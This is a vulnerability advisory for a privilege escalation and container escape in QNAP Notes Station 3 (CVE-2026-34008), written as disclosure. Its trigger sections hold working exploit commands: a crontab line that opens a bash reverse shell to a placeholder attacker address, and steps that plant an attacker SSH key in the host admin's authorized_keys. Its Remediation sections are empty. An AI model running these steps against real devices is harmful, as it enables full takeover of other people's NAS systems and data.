QNAP Notes Station 3: Container Privilege Escalation and Host Escape

Summary

Notes Station 3 ships with two independent permission failures that chain together cleanly:

  1. A root-owned PHP monitor inside the container (cron_monitor.php) reads and installs a crontab from a path that is writable by www-data on a file-sentinel trigger. Any code that runs as www-data can hand root an arbitrary crontab.
  2. The container mounts the host’s /share/CACHEDEV1_DATA/homes/ read-write with no user-namespace remapping. Container root is host root, so once root inside the container is held, the attacker can write any user’s .ssh/authorized_keys on the host.

Together this takes any www-data foothold to container root, and from container root to admin-level SSH on the NAS host. Full device compromise.

This advisory is most directly chained from qnap-nas-1, the pre-auth RCE that yields the initial www-data foothold.

Affected Product

FieldValue
DeviceQNAP TS-453E
FirmwareQTS 5.2.9.3410
PluginNotes Station 3, v3.9.10
VendorQNAP Systems, Inc.

Access required at exploitation time: a www-data foothold inside the Notes Station 3 container (reachable pre-auth via qnap-nas-1).

CVSS v3.1: 8.8 (High) · AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (post-foothold). Chained with qnap-nas-1 the end-to-end score reaches 9.9.

Stage 1: Container Privilege Escalation (www-data → container root)

A long-running root-owned PHP process is permanently active inside the container and watches a sentinel file:

PID   USER     COMMAND
  1   root     /bin/sh /start.sh
165   root     /usr/sbin/crond -f
166   root     /usr/bin/php /cron_monitor.php
// /cron_monitor.php (running as root)
<?php
while (true) {
    if (file_exists('/var/www/NotesStation3/cron.update')) {
        exec("/usr/bin/crontab /var/www/NotesStation3/storage/crontabs/root");
        unlink('/var/www/NotesStation3/cron.update');
    } else {
        sleep(1);
    }
}
?>

The directory and the file it consumes are owned and writable by www-data:

$ ls -la /var/www/NotesStation3/storage/crontabs/
drwxr-xr-x  2 www-data www-data  4096 .
-rw-r--r--  1 www-data www-data    35 root

Because www-data controls both the crontab file and the sentinel that triggers the monitor, anything running as www-data can cause root to install an attacker-supplied crontab on demand.

Trigger

From a www-data shell:

echo '* * * * * bash -c "bash -i >& /dev/tcp/<ATTACKER_IP>/<LPORT> 0>&1"' \
  > /var/www/NotesStation3/storage/crontabs/root
touch /var/www/NotesStation3/cron.update
# root callback within ~60 seconds

Remediation

Stage 2: Container Escape (container root → host admin)

With root inside the container, the host filesystem is exposed via a writable bind mount. Inspecting the container shows the entire host /share tree is mounted in:

$ system-docker inspect <NS3 container> --format '{{range .Mounts}}{{.Source}} -> {{.Destination}}  rw={{.RW}}{{println}}{{end}}'
...
/share -> /share  rw=true
...

$ cd /share/CACHEDEV1_DATA/homes/ && ls -la
drwxrwxrwx  9 root  root    .
drwxrwxrwx  4 root  root    admin
drwxrwxrwx  6 node  users   testuser
[...]

The bind mount is /share -> /share with rw=true, which means every NAS share, every user home (with their .ssh/authorized_keys), and every QPKG install is reachable read-write from inside the container. There is no user-namespace remapping: /proc/self/uid_map inside the container reads 0 0 4294967295 (identity map over the full 32-bit UID space), so container root is host root. The attacker can write to any user’s .ssh/authorized_keys and authenticate over SSH as that user on the host.

Trigger

# attacker
ssh-keygen -t rsa -f ./qnap_escape

# container as root
mkdir -p /share/CACHEDEV1_DATA/homes/admin/.ssh/
chown admin:everyone /share/CACHEDEV1_DATA/homes/admin/.ssh/
echo "<attacker_public_key>" >> /share/CACHEDEV1_DATA/homes/admin/.ssh/authorized_keys

# attacker
ssh -i ./qnap_escape admin@<NAS_IP>
# admin shell on the NAS host

Remediation

Disclosure Timeline

CVE: CVE-2026-34008